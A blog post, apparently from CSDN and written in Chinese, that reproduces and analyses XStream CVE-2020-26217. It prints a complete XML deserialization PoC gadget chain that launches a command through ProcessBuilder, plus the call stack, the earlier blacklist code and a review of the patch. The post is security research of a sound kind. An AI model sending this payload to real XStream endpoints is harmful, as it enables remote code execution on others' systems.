• 『Java安全』XStream 1.4.13反序列化漏洞CVE-2020-26217复现与浅析


    漏洞简介

    该漏洞是对CVE-2013-7285的绕过,在上一个版本做了以下修复:

    • 新增一个内置黑名单converter过滤EventHandler等
        private class InternalBlackList implements Converter {
            private InternalBlackList() {
            }
    
            public boolean canConvert(Class type) {
                return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
            }
            public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
                throw new ConversionException("Security alert. Marshalling rejected.");
            }
    
            public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
                throw new ConversionException("Security alert. Unmarshalling rejected.");
            }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 新增安全框架开发者可选择自定义黑白名单、以及使用默认安全策略

    https://x-stream.github.io/security.html#framework
    开发者自定义黑白名单
    在这里插入图片描述
    默认安全策略
    在这里插入图片描述

    影响版本

    XStream ≤ 1.4.13

    pom.xml

            
            <dependency>
                <groupId>com.thoughtworks.xstreamgroupId>
                <artifactId>xstreamartifactId>
                <version>1.4.13version>
            dependency>
            
            <dependency>
                <groupId>xpp3groupId>
                <artifactId>xpp3_minartifactId>
                <version>1.1.4cversion>
            dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    PoC

    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0flags>
          <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
            <dataHandler>
              <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                <contentType>text/plaincontentType>
                <is class='java.io.SequenceInputStream'>
                  <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                    <iterator class='javax.imageio.spi.FilterIterator'>
                      <iter class='java.util.ArrayList$Itr'>
                        <cursor>0cursor>
                        <lastRet>-1lastRet>
                        <expectedModCount>1expectedModCount>
                        <outer-class>
                          <java.lang.ProcessBuilder>
                            <command>
                              <string>calcstring>
                            command>
                          java.lang.ProcessBuilder>
                        outer-class>
                      iter>
                      <filter class='javax.imageio.ImageIO$ContainsFilter'>
                        <method>
                          <class>java.lang.ProcessBuilderclass>
                          <name>startname>
                          <parameter-types/>
                        method>
                        <name>startname>
                      filter>
                      <next/>
                    iterator>
                    <type>KEYStype>
                  e>
                  <in class='java.io.ByteArrayInputStream'>
                    <buf>buf>
                    <pos>0pos>
                    <mark>0mark>
                    <count>0count>
                  in>
                is>
                <consumed>falseconsumed>
              dataSource>
              <transferFlavors/>
            dataHandler>
            <dataLen>0dataLen>
          value>
        jdk.nashorn.internal.objects.NativeString>
        <string>teststring>
      entry>
    map>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    代码审计

    初步猜测

    前置漏洞CVE-2013-7285已经分析过了

    https://ho1aas.blog.csdn.net/article/details/126297121

    涉及到的对象的层次结构大致如下:

    map
      jdk.nashorn.internal.objects.NativeString
        com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
          dataHandler
            com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
              java.io.SequenceInputStream
                javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator
                  javax.imageio.spi.FilterIterator
                    java.util.ArrayList$Itr
                    javax.imageio.ImageIO$ContainsFilter
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    关键应该就是在后三个,重点看一下

    javax.imageio.spi.FilterIterator
      java.util.ArrayList$Itr
      javax.imageio.ImageIO$ContainsFilter
    
    • 1
    • 2
    • 3

    javax.imageio.spi.FilterIterator有个advance方法,会调用filter.filter()

    在这里插入图片描述
    javax.imageio.ImageIO$ContainsFilter的filter刚好能够反射调用方法

    在这里插入图片描述
    接下来就是具体调试看看如何调用到这一步

    原理分析

    反序列化map对象,new了一个空的,然后来到putCurrentEntryIntoMap把元素依次放进去,元素此时通过readCompleteItem()才开始反序列化

    在这里插入图片描述
    这里使用了栈来处理反序列化时对象之间的层次关系

    在这里插入图片描述
    接着,首先获取元素的类型,然后也是复用convertAnother进行反序列化

    在这里插入图片描述
    细节在doUnmarshal之中,对于同层次的节点直接穷举依次反序列化,“深度优先”

    在这里插入图片描述
    第一轮循环给NativeString赋值flags,然后第二次循环来处理,先通过反射获取field

    在这里插入图片描述
    然后从xml的标签class属性获取值的类型

    在这里插入图片描述
    然后通过unmarshallField实例化,核心也是convertAnother

    在这里插入图片描述
    接下来就是循环递归反序列化上面的过程,我们直接看最后是怎么触发的


    在这里插入图片描述
    hashmap put去重调用了NativeString的hashCode,然后进入getStringValue

    在这里插入图片描述
    调用Base64data.toString()

    在这里插入图片描述
    先调了自身的get方法

    在这里插入图片描述
    如果Base64data.data为空就从数据源获取输入流并读取

    在这里插入图片描述
    读取会调用SequenceInputStream.nextStream(),然后调用MultiUIDefaults.nextElement()
    在这里插入图片描述
    如果type是KEYS,就会调用迭代器next的getKey方法获取

    在这里插入图片描述
    FilterIterator.next()调用了advance,然后就命令执行了

    在这里插入图片描述

    POP链

    invoke:488, Method (java.lang.reflect)
    filter:613, ImageIO$ContainsFilter (javax.imageio)
    advance:821, FilterIterator (javax.imageio.spi)
    next:839, FilterIterator (javax.imageio.spi)
    nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
    nextStream:110, SequenceInputStream (java.io)
    read:211, SequenceInputStream (java.io)
    readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
    get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
    toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
    getStringValue:122, NativeString (jdk.nashorn.internal.objects)
    hashCode:118, NativeString (jdk.nashorn.internal.objects)
    hash:338, HashMap (java.util)
    put:611, HashMap (java.util)
    putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
    populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
    populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
    unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
    convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
    convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
    convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
    convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
    start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
    unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
    unmarshal:1404, XStream (com.thoughtworks.xstream)
    unmarshal:1383, XStream (com.thoughtworks.xstream)
    fromXML:1277, XStream (com.thoughtworks.xstream)
    main:11, Main (OneFourThirteen)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    新版本修复分析

    1.14.4不允许反序列化ProcessBuilder

    在这里插入图片描述
    realClass有类型判断

    在这里插入图片描述
    ban了三个类

    在这里插入图片描述

    衍生漏洞

    与CVE-2020-26258和CVE-2020-26259是同类型漏洞,适当的dataSource可以触发SSRF和任意文件删除

    https://x-stream.github.io/CVE-2020-26258.html
    https://x-stream.github.io/CVE-2020-26259.html

    参考

    https://x-stream.github.io/CVE-2020-26217.html

    欢迎关注我的CSDN博客 :@Ho1aAs
    版权属于:Ho1aAs
    本文链接:https://blog.csdn.net/Xxy605/article/details/126347957
    版权声明:本文为原创,转载时须注明出处及本声明

  • 相关阅读:
    CSP-J/S第一轮测试知识点全覆盖
    蓝桥杯每日一题2023.10.19
    vue左侧漏斗切换 echart图表动态更新
    golang语言_2
    垃圾回收 - 分代垃圾回收
    点亮一个LED+LED闪烁+LED流水灯——“51单片机”
    报名开启 | DolphinDB Meetup,与你相约北京
    python工程师-文件操作
    Python二级题:MOOC学校名单|关键词提取和查找
    智慧构思:智能合约技术精髓与价值转化 ——华为云BCS区块链服务
  • 原文地址:https://blog.csdn.net/Xxy605/article/details/126347957